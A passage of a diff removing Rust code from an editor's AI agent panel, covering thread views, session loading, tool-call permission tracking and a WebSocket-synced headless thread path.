-            .is_some_and(|model| model.supports_tools())
-    }
-}
-
-/// No-op AgentConnection for headless threads created by thread_service.
-/// These threads are driven entirely by the WebSocket sync system, not by
-/// user interaction through the ACP connection.
-#[cfg(feature = "external_websocket_sync")]
-struct HeadlessConnection;
-
-#[cfg(feature = "external_websocket_sync")]
-impl AgentConnection for HeadlessConnection {
-    fn telemetry_id(&self) -> SharedString {
-        "headless".into()
-    }
-
-    fn new_session(
-        self: Rc<Self>,
-        _project: Entity<Project>,
-        _cwd: &std::path::Path,
-        _cx: &mut gpui::App,
-    ) -> Task<Result<Entity<AcpThread>>> {
-        Task::ready(Err(anyhow!("headless connection cannot create sessions")))
-    }
-
-    fn auth_methods(&self) -> &[acp::AuthMethod] {
-        &[]
-    }
-
-    fn authenticate(&self, _method: acp::AuthMethodId, _cx: &mut gpui::App) -> Task<Result<()>> {
-        Task::ready(Ok(()))
-    }
-
-    fn prompt(
-        &self,
-        _user_message_id: Option<UserMessageId>,
-        _params: acp::PromptRequest,
-        _cx: &mut gpui::App,
-    ) -> Task<Result<acp::PromptResponse>> {
-        Task::ready(Err(anyhow!("headless connection cannot prompt")))
-    }
-
-    fn cancel(&self, _session_id: &acp::SessionId, _cx: &mut gpui::App) {}
-
-    fn into_any(self: Rc<Self>) -> Rc<dyn std::any::Any> {
-        self
-    }
-}
-
-#[derive(Default)]
-pub(crate) struct Conversation {
-    threads: HashMap<acp::SessionId, Entity<AcpThread>>,
-    permission_requests: IndexMap<acp::SessionId, Vec<acp::ToolCallId>>,
-    subscriptions: Vec<Subscription>,
-}
-
-impl Conversation {
-    pub fn register_thread(&mut self, thread: Entity<AcpThread>, cx: &mut Context<Self>) {
-        let session_id = thread.read(cx).session_id().clone();
-        let subscription = cx.subscribe(&thread, move |this, _thread, event, _cx| match event {
-            AcpThreadEvent::ToolAuthorizationRequested(id) => {
-                this.permission_requests
-                    .entry(session_id.clone())
-                    .or_default()
-                    .push(id.clone());
-            }
-            AcpThreadEvent::ToolAuthorizationReceived(id) => {
-                if let Some(tool_calls) = this.permission_requests.get_mut(&session_id) {
-                    tool_calls.retain(|tool_call_id| tool_call_id != id);
-                    if tool_calls.is_empty() {
-                        this.permission_requests.shift_remove(&session_id);
-                    }
-                }
-            }
-            AcpThreadEvent::NewEntry
-            | AcpThreadEvent::TitleUpdated
-            | AcpThreadEvent::TokenUsageUpdated
-            | AcpThreadEvent::EntryUpdated(_)
-            | AcpThreadEvent::EntriesRemoved(_)
-            | AcpThreadEvent::Retry(_)
-            | AcpThreadEvent::SubagentSpawned(_)
-            | AcpThreadEvent::Stopped
-            | AcpThreadEvent::Error
-            | AcpThreadEvent::LoadError(_)
-            | AcpThreadEvent::PromptCapabilitiesUpdated
-            | AcpThreadEvent::Refusal
-            | AcpThreadEvent::AvailableCommandsUpdated(_)
-            | AcpThreadEvent::ModeUpdated(_)
-            | AcpThreadEvent::ConfigOptionsUpdated(_) => {}
-        });
-        self.subscriptions.push(subscription);
-        self.threads
-            .insert(thread.read(cx).session_id().clone(), thread);
-    }
-
-    pub fn pending_tool_call<'a>(
-        &'a self,
-        session_id: &acp::SessionId,
-        cx: &'a App,
-    ) -> Option<(acp::SessionId, acp::ToolCallId, &'a PermissionOptions)> {
-        let thread = self.threads.get(session_id)?;
-        let is_subagent = thread.read(cx).parent_session_id().is_some();
-        let (thread, tool_id) = if is_subagent {
-            let id = self.permission_requests.get(session_id)?.iter().next()?;
-            (thread, id)
-        } else {
-            let (id, tool_calls) = self.permission_requests.first()?;
-            let thread = self.threads.get(id)?;
-            let id = tool_calls.iter().next()?;
-            (thread, id)
-        };
-        let (_, tool_call) = thread.read(cx).tool_call(tool_id)?;
-
-        let ToolCallStatus::WaitingForConfirmation { options, .. } = &tool_call.status else {
-            return None;
-        };
-        Some((
-            thread.read(cx).session_id().clone(),
-            tool_id.clone(),
-            options,
-        ))
-    }
-
-    pub fn authorize_pending_tool_call(
-        &mut self,
-        session_id: &acp::SessionId,
-        kind: acp::PermissionOptionKind,
-        cx: &mut Context<Self>,
-    ) -> Option<()> {
-        let (_, tool_call_id, options) = self.pending_tool_call(session_id, cx)?;
-        let option = options.first_option_of_kind(kind)?;
-        self.authorize_tool_call(
-            session_id.clone(),
-            tool_call_id,
-            option.option_id.clone(),
-            option.kind,
-            cx,
-        );
-        Some(())
-    }
-
-    pub fn authorize_tool_call(
-        &mut self,
-        session_id: acp::SessionId,
-        tool_call_id: acp::ToolCallId,
-        option_id: acp::PermissionOptionId,
-        option_kind: acp::PermissionOptionKind,
-        cx: &mut Context<Self>,
-    ) {
-        let Some(thread) = self.threads.get(&session_id) else {
-            return;
-        };
-        let agent_telemetry_id = thread.read(cx).connection().telemetry_id();
-
-        telemetry::event!(
-            "Agent Tool Call Authorized",
-            agent = agent_telemetry_id,
-            session = session_id,
-            option = option_kind
-        );
-
-        thread.update(cx, |thread, cx| {
-            thread.authorize_tool_call(tool_call_id, option_id, option_kind, cx);
-        });
-        cx.notify();
-    }
-}
-
-pub struct AcpServerView {
-    agent: Rc<dyn AgentServer>,
-    agent_server_store: Entity<AgentServerStore>,
-    workspace: WeakEntity<Workspace>,
-    project: Entity<Project>,
-    thread_store: Option<Entity<ThreadStore>>,
-    prompt_store: Option<Entity<PromptStore>>,
-    server_state: ServerState,
-    login: Option<task::SpawnInTerminal>, // is some <=> Active | Unauthenticated
-    history: Entity<AcpThreadHistory>,
-    focus_handle: FocusHandle,
-    notifications: Vec<WindowHandle<AgentNotification>>,
-    notification_subscriptions: HashMap<WindowHandle<AgentNotification>, Vec<Subscription>>,
-    auth_task: Option<Task<()>>,
-    _subscriptions: Vec<Subscription>,
-}
-
-impl AcpServerView {
-    pub fn active_thread(&self) -> Option<&Entity<AcpThreadView>> {
-        match &self.server_state {
-            ServerState::Connected(connected) => connected.active_view(),
-            _ => None,
-        }
-    }
-
-    pub fn pending_tool_call<'a>(
-        &'a self,
-        cx: &'a App,
-    ) -> Option<(acp::SessionId, acp::ToolCallId, &'a PermissionOptions)> {
-        let id = &self.active_thread()?.read(cx).id;
-        self.as_connected()?
-            .conversation
-            .read(cx)
-            .pending_tool_call(id, cx)
-    }
-
-    pub fn parent_thread(&self, cx: &App) -> Option<Entity<AcpThreadView>> {
-        match &self.server_state {
-            ServerState::Connected(connected) => {
-                let mut current = connected.active_view()?;
-                while let Some(parent_id) = current.read(cx).parent_id.clone() {
-                    if let Some(parent) = connected.threads.get(&parent_id) {
-                        current = parent;
-                    } else {
-                        break;
-                    }
-                }
-                Some(current.clone())
-            }
-            _ => None,
-        }
-    }
-
-    pub fn thread_view(&self, session_id: &acp::SessionId) -> Option<Entity<AcpThreadView>> {
-        let connected = self.as_connected()?;
-        connected.threads.get(session_id).cloned()
-    }
-
-    pub fn as_connected(&self) -> Option<&ConnectedServerState> {
-        match &self.server_state {
-            ServerState::Connected(connected) => Some(connected),
-            _ => None,
-        }
-    }
-
-    pub fn as_connected_mut(&mut self) -> Option<&mut ConnectedServerState> {
-        match &mut self.server_state {
-            ServerState::Connected(connected) => Some(connected),
-            _ => None,
-        }
-    }
-
-    pub fn navigate_to_session(
-        &mut self,
-        session_id: acp::SessionId,
-        window: &mut Window,
-        cx: &mut Context<Self>,
-    ) {
-        let Some(connected) = self.as_connected_mut() else {
-            return;
-        };
-
-        connected.navigate_to_session(session_id);
-        if let Some(view) = self.active_thread() {
-            view.focus_handle(cx).focus(window, cx);
-        }
-        cx.notify();
-    }
-}
-
-enum ServerState {
-    Loading(Entity<LoadingView>),
-    LoadError(LoadError),
-    Connected(ConnectedServerState),
-}
-
-// current -> Entity
-// hashmap of threads, current becomes session_id
-pub struct ConnectedServerState {
-    auth_state: AuthState,
-    active_id: Option<acp::SessionId>,
-    threads: HashMap<acp::SessionId, Entity<AcpThreadView>>,
-    connection: Rc<dyn AgentConnection>,
-    conversation: Entity<Conversation>,
-}
-
-enum AuthState {
-    Ok,
-    Unauthenticated {
-        description: Option<Entity<Markdown>>,
-        configuration_view: Option<AnyView>,
-        pending_auth_method: Option<acp::AuthMethodId>,
-        _subscription: Option<Subscription>,
-    },
-}
-
-impl AuthState {
-    pub fn is_ok(&self) -> bool {
-        matches!(self, Self::Ok)
-    }
-}
-
-struct LoadingView {
-    title: SharedString,
-    _load_task: Task<()>,
-    _update_title_task: Task<anyhow::Result<()>>,
-}
-
-impl ConnectedServerState {
-    pub fn active_view(&self) -> Option<&Entity<AcpThreadView>> {
-        self.active_id.as_ref().and_then(|id| self.threads.get(id))
-    }
-
-    pub fn has_thread_error(&self, cx: &App) -> bool {
-        self.active_view()
-            .map_or(false, |view| view.read(cx).thread_error.is_some())
-    }
-
-    pub fn navigate_to_session(&mut self, session_id: acp::SessionId) {
-        if self.threads.contains_key(&session_id) {
-            self.active_id = Some(session_id);
-        }
-    }
-
-    pub fn close_all_sessions(&self, cx: &mut App) -> Task<()> {
-        let tasks = self
-            .threads
-            .keys()
-            .map(|id| self.connection.close_session(id, cx));
-        let task = futures::future::join_all(tasks);
-        cx.background_spawn(async move {
-            task.await;
-        })
-    }
-}
-
-impl AcpServerView {
-    pub fn new(
-        agent: Rc<dyn AgentServer>,
-        resume_thread: Option<AgentSessionInfo>,
-        initial_content: Option<AgentInitialContent>,
-        workspace: WeakEntity<Workspace>,
-        project: Entity<Project>,
-        thread_store: Option<Entity<ThreadStore>>,
-        prompt_store: Option<Entity<PromptStore>>,
-        history: Entity<AcpThreadHistory>,
-        window: &mut Window,
-        cx: &mut Context<Self>,
-    ) -> Self {
-        let agent_server_store = project.read(cx).agent_server_store().clone();
-        let subscriptions = vec![
-            cx.observe_global_in::<SettingsStore>(window, Self::agent_ui_font_size_changed),
-            cx.observe_global_in::<AgentFontSize>(window, Self::agent_ui_font_size_changed),
-            cx.subscribe_in(
-                &agent_server_store,
-                window,
-                Self::handle_agent_servers_updated,
-            ),
-        ];
-
-        cx.on_release(|this, cx| {
-            if let Some(connected) = this.as_connected() {
-                connected.close_all_sessions(cx).detach();
-            }
-            for window in this.notifications.drain(..) {
-                window
-                    .update(cx, |_, window, _| {
-                        window.remove_window();
-                    })
-                    .ok();
-            }
-        })
-        .detach();
-
-        Self {
-            agent: agent.clone(),
-            agent_server_store,
-            workspace,
-            project: project.clone(),
-            thread_store,
-            prompt_store,
-            server_state: Self::initial_state(
-                agent.clone(),
-                resume_thread,
-                project,
-                initial_content,
-                window,
-                cx,
-            ),
-            login: None,
-            notifications: Vec::new(),
-            notification_subscriptions: HashMap::default(),
-            auth_task: None,
-            history,
-            _subscriptions: subscriptions,
-            focus_handle: cx.focus_handle(),
-        }
-    }
-
-    /// Create an AcpServerView wrapping an existing headless thread entity.
-    ///
-    /// This bypasses the normal connection/loading path for threads created
-    /// by thread_service (WebSocket-created threads). Each server.connect()
-    /// creates a new NativeAgent instance, so the thread exists in one agent's
-    /// sessions but the UI would use another — we can't look it up.
-    /// Instead, we wrap the existing Entity<AcpThread> directly.
-    #[cfg(feature = "external_websocket_sync")]
-    pub fn from_existing_thread(
-        thread: gpui::Entity<AcpThread>,
-        agent: Rc<dyn AgentServer>,
-        workspace: WeakEntity<Workspace>,
-        project: Entity<Project>,
-        thread_store: Option<Entity<ThreadStore>>,
-        prompt_store: Option<Entity<PromptStore>>,
-        history: Entity<AcpThreadHistory>,
-        agent_name: Option<String>,
-        window: &mut Window,
-        cx: &mut Context<Self>,
-    ) -> Self {
-        let prompt_capabilities = Rc::new(RefCell::new(acp::PromptCapabilities::default()));
-        let available_commands = Rc::new(RefCell::new(vec![]));
-
-        let agent_server_store = project.read(cx).agent_server_store().clone();
-        let subscriptions = vec![
-            cx.observe_global_in::<SettingsStore>(window, Self::agent_ui_font_size_changed),
-            cx.observe_global_in::<AgentFontSize>(window, Self::agent_ui_font_size_changed),
-            cx.subscribe_in(
-                &agent_server_store,
-                window,
-                Self::handle_agent_servers_updated,
-            ),
-        ];
-
-        cx.on_release(|this, cx| {
-            // Unregister thread from THREAD_REGISTRY so stale entries don't
-            // cause split-brain when the same session is loaded via the UI path.
-            //
-            // Only remove the entry if it still points at the thread entity this
-            // view was holding. After a Zed restart, `load_session_async` may
-            // have replaced the registration with a fresh entity (Y) while the
-            // AgentPanel rebound to display Y — dropping this older view (X).
-            // A blind unregister at that moment would clobber Y's registration
-            // and leave subsequent dispatches and subscription bookkeeping in an
-            // inconsistent state.
-            if let ServerState::Connected(connected) = &this.server_state {
-                if let Some(id) = &connected.active_id {
-                    let session_id_str = id.to_string();
-                    if let Some(active_view) = connected.active_view() {
-                        let thread_entity_id = active_view.read(cx).thread.entity_id();
-                        external_websocket_sync::unregister_thread_if_matches(
-                            &session_id_str,
-                            thread_entity_id,
-                        );
-                    } else {
-                        external_websocket_sync::unregister_thread(&session_id_str);
-                    }
-                }
-            }
-            for window in this.notifications.drain(..) {
-                window
-                    .update(cx, |_, window, _| {
-                        window.remove_window();
-                    })
-                    .ok();
-            }
-        })
-        .detach();
-
-        // Build the entry view state and sync existing entries
-        let agent_name_str = agent_name.unwrap_or_else(|| agent.name().to_string());
-        let display_name: SharedString = agent_name_str.clone().into();
-        let agent_shared_name: SharedString = agent_name_str.into();
-
-        let entry_view_state = cx.new(|_cx| {
-            EntryViewState::new(
-                workspace.clone(),
-                project.downgrade(),
-                thread_store.clone(),
-                history.downgrade(),
-                prompt_store.clone(),
-                prompt_capabilities.clone(),
-                available_commands.clone(),
-                agent_shared_name.clone(),
-            )
-        });
-
-        let list_state = ListState::new(0, gpui::ListAlignment::Bottom, gpui::px(2048.0));
-
-        // Sync existing entries from the thread
-        let count = thread.read(cx).entries().len();
-        entry_view_state.update(cx, |view_state, cx| {
-            for ix in 0..count {
-                view_state.sync_entry(ix, &thread, window, cx);
-            }
-        });
-        list_state.splice_focusable(
-            0..0,
-            (0..count).map(|ix| entry_view_state.read(cx).entry(ix).and_then(|e| e.focus_handle(cx))),
-        );
-
-        let action_log = thread.read(cx).action_log().clone();
-
-        // Subscribe to thread events for UI updates.
-        // CRITICAL: The NativeAgentConnection bridge emits AcpThreadEvent from
-        // cx.spawn() without window context. GPUI's subscribe_in silently drops
-        // those events. We use a windowless cx.subscribe to catch ALL events,
-        // forward them through a channel, and process them in a cx.spawn_in task
-        // that has window context.
-        let (event_tx, mut event_rx) = tokio::sync::mpsc::unbounded_channel::<()>();
-        let thread_for_sub = thread.clone();
-        let thread_sub = cx.subscribe(&thread_for_sub, move |_this, _thread, _event, _cx| {
-            let _ = event_tx.send(());
-        });
-
-        let thread_for_spawn = thread.downgrade();
-        let initial_entry_count = count; // entries already synced above
-        cx.spawn_in(window, async move |this, cx| {
-            let mut synced_count = initial_entry_count;
-            while event_rx.recv().await.is_some() {
-                // Drain any additional queued events (batch)
-                while event_rx.try_recv().is_ok() {}
-
-                this.update_in(cx, |this, window, cx| {
-                    if let Some(thread) = thread_for_spawn.upgrade() {
-                        // Sync new entries to the UI
-                        if let Some(active) = this.active_thread() {
-                            let total = thread.read(cx).entries().len();
-                            if total > synced_count {
-                                let entry_view_state = active.read(cx).entry_view_state.clone();
-                                let list_state = active.read(cx).list_state.clone();
-                                entry_view_state.update(cx, |view_state, cx| {
-                                    for ix in synced_count..total {
-                                        view_state.sync_entry(ix, &thread, window, cx);
-                                    }
-                                });
-                                list_state.splice_focusable(
-                                    synced_count..synced_count,
-                                    (synced_count..total).map(|ix| {
-                                        entry_view_state.read(cx).entry(ix).and_then(|e| e.focus_handle(cx))
-                                    }),
-                                );
-                                synced_count = total;
-                            }
-                        }
-                        cx.notify();
-                    }
-                }).ok();
-            }
-            anyhow::Ok(())
-        }).detach();
-
-        let thread_subscriptions = vec![
-            thread_sub,
-            cx.observe(&action_log, |_, _, cx| cx.notify()),
-        ];
-
-        // Create a no-op connection for headless threads
-        let connection: Rc<dyn AgentConnection> = Rc::new(HeadlessConnection);
-
-        let weak = cx.weak_entity();
-        let agent_icon = agent.logo();
-        let conversation_entity = cx.new(|cx| {
-            let mut conv = Conversation::default();
-            conv.register_thread(thread.clone(), cx);
-            conv
-        });
-        let current = cx.new(|cx| {
-            AcpThreadView::new(
-                None, // parent_id
-                thread.clone(),
-                conversation_entity.clone(),
-                None, // login
-                weak,
-                agent_icon,
-                agent_shared_name.clone(),
-                display_name,
-                workspace.clone(),
-                entry_view_state,
-                None, // config_options_view
-                None, // mode_selector
-                None, // model_selector
-                None, // profile_selector
-                list_state,
-                prompt_capabilities,
-                available_commands,
-                false, // resumed_without_history
-                None,  // resume_thread_metadata
-                project.downgrade(),
-                thread_store.clone(),
-                history.clone(),
-                prompt_store.clone(),
-                None, // initial_content
-                thread_subscriptions,
-                window,
-                cx,
-            )
-        });
-
-        let id = thread.read(cx).session_id().clone();
-
-        // Register thread in THREAD_REGISTRY
-        {
-            let session_id_str = id.to_string();
-            external_websocket_sync::register_thread(session_id_str, thread);
-        }
-
-        Self {
-            agent,
-            agent_server_store,
-            workspace,
-            project,
-            thread_store,
-            prompt_store,
-            server_state: ServerState::Connected(ConnectedServerState {
-                connection,
-                auth_state: AuthState::Ok,
-                active_id: Some(id.clone()),
-                threads: HashMap::from_iter([(id, current)]),
-                conversation: conversation_entity,
-            }),
-            login: None,
-            notifications: Vec::new(),
-            notification_subscriptions: HashMap::default(),
-            auth_task: None,
-            history,
-            _subscriptions: subscriptions,
-            focus_handle: cx.focus_handle(),
-        }
-    }
-
-    fn set_server_state(&mut self, state: ServerState, cx: &mut Context<Self>) {
-        if let Some(connected) = self.as_connected() {
-            connected.close_all_sessions(cx).detach();
-        }
-
-        self.server_state = state;
-        cx.notify();
-    }
-
-    fn reset(&mut self, window: &mut Window, cx: &mut Context<Self>) {
-        let resume_thread_metadata = self
-            .active_thread()
-            .and_then(|thread| thread.read(cx).resume_thread_metadata.clone());
-
-        let state = Self::initial_state(
-            self.agent.clone(),
-            resume_thread_metadata,
-            self.project.clone(),
-            None,
-            window,
-            cx,
-        );
-        self.set_server_state(state, cx);
-
-        if let Some(view) = self.active_thread() {
-            view.update(cx, |this, cx| {
-                this.message_editor.update(cx, |editor, cx| {
-                    editor.set_command_state(
-                        this.prompt_capabilities.clone(),
-                        this.available_commands.clone(),
-                        cx,
-                    );
-                });
-            });
-        }
-        cx.notify();
-    }
-
-    fn initial_state(
-        agent: Rc<dyn AgentServer>,
-        resume_thread: Option<AgentSessionInfo>,
-        project: Entity<Project>,
-        initial_content: Option<AgentInitialContent>,
-        window: &mut Window,
-        cx: &mut Context<Self>,
-    ) -> ServerState {
-        if project.read(cx).is_via_collab()
-            && agent.clone().downcast::<NativeAgentServer>().is_none()
-        {
-            return ServerState::LoadError(LoadError::Other(
-                "External agents are not yet supported in shared projects.".into(),
-            ));
-        }
-        let mut worktrees = project.read(cx).visible_worktrees(cx).collect::<Vec<_>>();
-        // Pick the first non-single-file worktree for the root directory if there are any,
-        // and otherwise the parent of a single-file worktree, falling back to $HOME if there are no visible worktrees.
-        worktrees.sort_by(|l, r| {
-            l.read(cx)
-                .is_single_file()
-                .cmp(&r.read(cx).is_single_file())
-        });
-        let worktree_roots: Vec<Arc<Path>> = worktrees
-            .iter()
-            .filter_map(|worktree| {
-                let worktree = worktree.read(cx);
-                if worktree.is_single_file() {
-                    Some(worktree.abs_path().parent()?.into())
-                } else {
-                    Some(worktree.abs_path())
-                }
-            })
-            .collect();
-        let session_cwd = resume_thread
-            .as_ref()
-            .and_then(|resume| {
-                resume
-                    .cwd
-                    .as_ref()
-                    .and_then(|cwd| util::paths::normalize_lexically(cwd).ok())
-                    .filter(|cwd| {
-                        worktree_roots
-                            .iter()
-                            .any(|root| cwd.starts_with(root.as_ref()))
-                    })
-                    .map(|path| path.into())
-            })
-            .or_else(|| worktree_roots.first().cloned())
-            .unwrap_or_else(|| paths::home_dir().as_path().into());
-
-        let (status_tx, mut status_rx) = watch::channel("Loading…".into());
-        let (new_version_available_tx, mut new_version_available_rx) = watch::channel(None);
-        let delegate = AgentServerDelegate::new(
-            project.read(cx).agent_server_store().clone(),
-            project.clone(),
-            Some(status_tx),
-            Some(new_version_available_tx),
-        );
-
-        let connect_task = agent.connect(delegate, cx);
-        let load_task = cx.spawn_in(window, async move |this, cx| {
-            let connection = match connect_task.await {
-                Ok((connection, login)) => {
-                    this.update(cx, |this, _| this.login = login).ok();
-                    connection
-                }
-                Err(err) => {
-                    this.update_in(cx, |this, window, cx| {
-                        if err.downcast_ref::<LoadError>().is_some() {
-                            this.handle_load_error(err, window, cx);
-                        } else if let Some(active) = this.active_thread() {
-                            active.update(cx, |active, cx| active.handle_any_thread_error(err, cx));
-                        } else {
-                            this.handle_load_error(err, window, cx);
-                        }
-                        cx.notify();
-                    })
-                    .log_err();
-                    return;
-                }
-            };
-
-            telemetry::event!("Agent Thread Started", agent = connection.telemetry_id());
-
-            let mut resumed_without_history = false;
-            let result = if let Some(resume) = resume_thread.clone() {
-                cx.update(|_, cx| {
-                    if connection.supports_load_session() {
-                        connection
-                            .clone()
-                            .load_session(resume, project.clone(), &session_cwd, cx)
-                    } else if connection.supports_resume_session() {
-                        resumed_without_history = true;
-                        connection
-                            .clone()
-                            .resume_session(resume, project.clone(), &session_cwd, cx)
-                    } else {
-                        Task::ready(Err(anyhow!(LoadError::Other(
-                            "Loading or resuming sessions is not supported by this agent.".into()
-                        ))))
-                    }
-                })
-                .log_err()
-            } else {
-                cx.update(|_, cx| {
-                    connection
-                        .clone()
-                        .new_session(project.clone(), session_cwd.as_ref(), cx)
-                })
-                .log_err()
-            };
-
-            let Some(result) = result else {
-                return;
-            };
-
-            let result = match result.await {
-                Err(e) => match e.downcast::<acp_thread::AuthRequired>() {
-                    Ok(err) => {
-                        cx.update(|window, cx| {
-                            Self::handle_auth_required(
-                                this,
-                                err,
-                                agent.name(),
-                                connection,
-                                window,
-                                cx,
-                            )
-                        })
-                        .log_err();
-                        return;
-                    }
-                    Err(err) => Err(err),
-                },
-                Ok(thread) => Ok(thread),
-            };
-
-            this.update_in(cx, |this, window, cx| {
-                match result {
-                    Ok(thread) => {
-                        let conversation = cx.new(|cx| {
-                            let mut conversation = Conversation::default();
-                            conversation.register_thread(thread.clone(), cx);
-                            conversation
-                        });
-
-                        #[cfg(feature = "external_websocket_sync")]
-                        let is_resume = resume_thread.is_some();
-
-                        let current = this.new_thread_view(
-                            None,
-                            thread,
-                            conversation.clone(),
-                            resumed_without_history,
-                            resume_thread,
-                            initial_content,
-                            window,
-                            cx,
-                        );
-
-                        if this.focus_handle.contains_focused(window, cx) {
-                            current
-                                .read(cx)
-                                .message_editor
-                                .focus_handle(cx)
-                                .focus(window, cx);
-                        }
-
-                        // Register thread with THREAD_REGISTRY so WebSocket commands find this entity
-                        #[cfg(feature = "external_websocket_sync")]
-                        {
-                            let session_id = current.read(cx).thread.read(cx).session_id().to_string();
-                            external_websocket_sync::register_thread(session_id, current.read(cx).thread.clone());
-                        }
-
-                        let id = current.read(cx).thread.read(cx).session_id().clone();
-                        this.set_server_state(
-                            ServerState::Connected(ConnectedServerState {
-                                connection,
-                                auth_state: AuthState::Ok,
-                                active_id: Some(id.clone()),
-                                threads: HashMap::from_iter([(id, current.clone())]),
-                                conversation,
-                            }),
-                            cx,
-                        );
-
-                        // Defer UserCreatedThread to the first user-message NewEntry.
-                        // See conversation_view.rs for the full reasoning and link to
-                        // the design doc.
-                        #[cfg(feature = "external_websocket_sync")]
-                        {
-                            if !is_resume {
-                                let thread_entity = &current.read(cx).thread;
-                                let acp_thread_id = thread_entity.read(cx).session_id().to_string();
-                                let title = thread_entity.read(cx).title().to_string();
-                                let title_opt = if title.is_empty() { None } else { Some(title) };
-                                external_websocket_sync::defer_user_created_thread(
-                                    acp_thread_id,
-                                    title_opt,
-                                );
-                            }
-                        }
-                    }
-                    Err(err) => {
-                        this.handle_load_error(err, window, cx);
-                    }
-                };
-            })
-            .log_err();
-        });
-
-        cx.spawn(async move |this, cx| {
-            while let Ok(new_version) = new_version_available_rx.recv().await {
-                if let Some(new_version) = new_version {
-                    this.update(cx, |this, cx| {
-                        if let Some(thread) = this.active_thread() {
-                            thread.update(cx, |thread, _cx| {
-                                thread.new_server_version_available = Some(new_version.into());
-                            });
-                        }
-                        cx.notify();
-                    })
-                    .ok();
-                }
-            }
-        })
-        .detach();
-
-        let loading_view = cx.new(|cx| {
-            let update_title_task = cx.spawn(async move |this, cx| {
-                loop {
-                    let status = status_rx.recv().await?;
-                    this.update(cx, |this: &mut LoadingView, cx| {
-                        this.title = status;
-                        cx.notify();
-                    })?;
-                }
-            });
-
-            LoadingView {
-                title: "Loading…".into(),
-                _load_task: load_task,
-                _update_title_task: update_title_task,
-            }
-        });
-
-        ServerState::Loading(loading_view)
-    }
-
-    fn new_thread_view(
-        &self,
-        parent_id: Option<acp::SessionId>,
-        thread: Entity<AcpThread>,
-        conversation: Entity<Conversation>,
-        resumed_without_history: bool,
-        resume_thread: Option<AgentSessionInfo>,
-        initial_content: Option<AgentInitialContent>,
-        window: &mut Window,
-        cx: &mut Context<Self>,
-    ) -> Entity<AcpThreadView> {
-        let agent_name = self.agent.name();
-        let prompt_capabilities = Rc::new(RefCell::new(acp::PromptCapabilities::default()));
-        let available_commands = Rc::new(RefCell::new(vec![]));
-
-        let action_log = thread.read(cx).action_log().clone();
-
-        prompt_capabilities.replace(thread.read(cx).prompt_capabilities());
-
-        let entry_view_state = cx.new(|_| {
-            EntryViewState::new(
-                self.workspace.clone(),
-                self.project.downgrade(),
-                self.thread_store.clone(),
-                self.history.downgrade(),
-                self.prompt_store.clone(),
-                prompt_capabilities.clone(),
-                available_commands.clone(),
-                self.agent.name(),
-            )
-        });
-
-        let count = thread.read(cx).entries().len();
-        let list_state = ListState::new(0, gpui::ListAlignment::Bottom, px(2048.0));
-        entry_view_state.update(cx, |view_state, cx| {
-            for ix in 0..count {
-                view_state.sync_entry(ix, &thread, window, cx);
-            }
-            list_state.splice_focusable(
-                0..0,
-                (0..count).map(|ix| view_state.entry(ix)?.focus_handle(cx)),
-            );
-        });
-
-        AgentDiff::set_active_thread(&self.workspace, thread.clone(), window, cx);
-
-        let connection = thread.read(cx).connection().clone();
-        let session_id = thread.read(cx).session_id().clone();
-        let session_list = if connection.supports_session_history() {
-            connection.session_list(cx)
-        } else {
-            None
-        };
-        self.history.update(cx, |history, cx| {
-            history.set_session_list(session_list, cx);
-        });
-
-        // Check for config options first
-        // Config options take precedence over legacy mode/model selectors
-        // (feature flag gating happens at the data layer)
-        let config_options_provider = connection.session_config_options(&session_id, cx);
-
-        let config_options_view;
-        let mode_selector;
-        let model_selector;
-        if let Some(config_options) = config_options_provider {
-            // Use config options - don't create mode_selector or model_selector
-            let agent_server = self.agent.clone();
-            let fs = self.project.read(cx).fs().clone();
-            config_options_view =
-                Some(cx.new(|cx| {
-                    ConfigOptionsView::new(config_options, agent_server, fs, window, cx)
-                }));
-            model_selector = None;
-            mode_selector = None;
-        } else {
-            // Fall back to legacy mode/model selectors
-            config_options_view = None;
-            model_selector = connection.model_selector(&session_id).map(|selector| {
-                let agent_server = self.agent.clone();
-                let fs = self.project.read(cx).fs().clone();
-                cx.new(|cx| {
-                    AcpModelSelectorPopover::new(
-                        selector,
-                        agent_server,
-                        fs,
-                        PopoverMenuHandle::default(),
-                        self.focus_handle(cx),
-                        window,
-                        cx,
-                    )
-                })
-            });
-
-            mode_selector = connection
-                .session_modes(&session_id, cx)
-                .map(|session_modes| {
-                    let fs = self.project.read(cx).fs().clone();
-                    cx.new(|_cx| ModeSelector::new(session_modes, self.agent.clone(), fs))
-                });
-        }
-
-        let subscriptions = vec![
-            cx.subscribe_in(&thread, window, Self::handle_thread_event),
-            cx.observe(&action_log, |_, _, cx| cx.notify()),
-        ];
-
-        let parent_session_id = thread.read(cx).session_id().clone();
-        let subagent_sessions = thread
-            .read(cx)
-            .entries()
-            .iter()
-            .filter_map(|entry| match entry {
-                AgentThreadEntry::ToolCall(call) => call.subagent_session_id.clone(),
-                _ => None,
-            })
-            .collect::<Vec<_>>();
-
-        if !subagent_sessions.is_empty() {
-            cx.spawn_in(window, async move |this, cx| {
-                this.update_in(cx, |this, window, cx| {
-                    for subagent_id in subagent_sessions {
-                        this.load_subagent_session(
-                            subagent_id,
-                            parent_session_id.clone(),
-                            window,
-                            cx,
-                        );
-                    }
-                })
-            })
-            .detach();
-        }
-
-        let profile_selector: Option<Rc<agent::NativeAgentConnection>> =
-            connection.clone().downcast();
-        let profile_selector = profile_selector
-            .and_then(|native_connection| native_connection.thread(&session_id, cx))
-            .map(|native_thread| {
-                cx.new(|cx| {
-                    ProfileSelector::new(
-                        <dyn Fs>::global(cx),
-                        Arc::new(native_thread),
-                        self.focus_handle(cx),
-                        cx,
-                    )
-                })
-            });
-
-        let agent_display_name = self
-            .agent_server_store
-            .read(cx)
-            .agent_display_name(&ExternalAgentServerName(agent_name.clone()))
-            .unwrap_or_else(|| agent_name.clone());
-
-        let agent_icon = self.agent.logo();
-
-        let weak = cx.weak_entity();
-        cx.new(|cx| {
-            AcpThreadView::new(
-                parent_id,
-                thread,
-                conversation,
-                self.login.clone(),
-                weak,
-                agent_icon,
-                agent_name,
-                agent_display_name,
-                self.workspace.clone(),
-                entry_view_state,
-                config_options_view,
-                mode_selector,
-                model_selector,
-                profile_selector,
-                list_state,
-                prompt_capabilities,
-                available_commands,
-                resumed_without_history,
-                resume_thread,
-                self.project.downgrade(),
-                self.thread_store.clone(),
-                self.history.clone(),
-                self.prompt_store.clone(),
-                initial_content,
-                subscriptions,
-                window,
-                cx,
-            )
-        })
-    }
-
-    fn handle_auth_required(
-        this: WeakEntity<Self>,
-        err: AuthRequired,
-        agent_name: SharedString,
-        connection: Rc<dyn AgentConnection>,
-        window: &mut Window,
-        cx: &mut App,
-    ) {
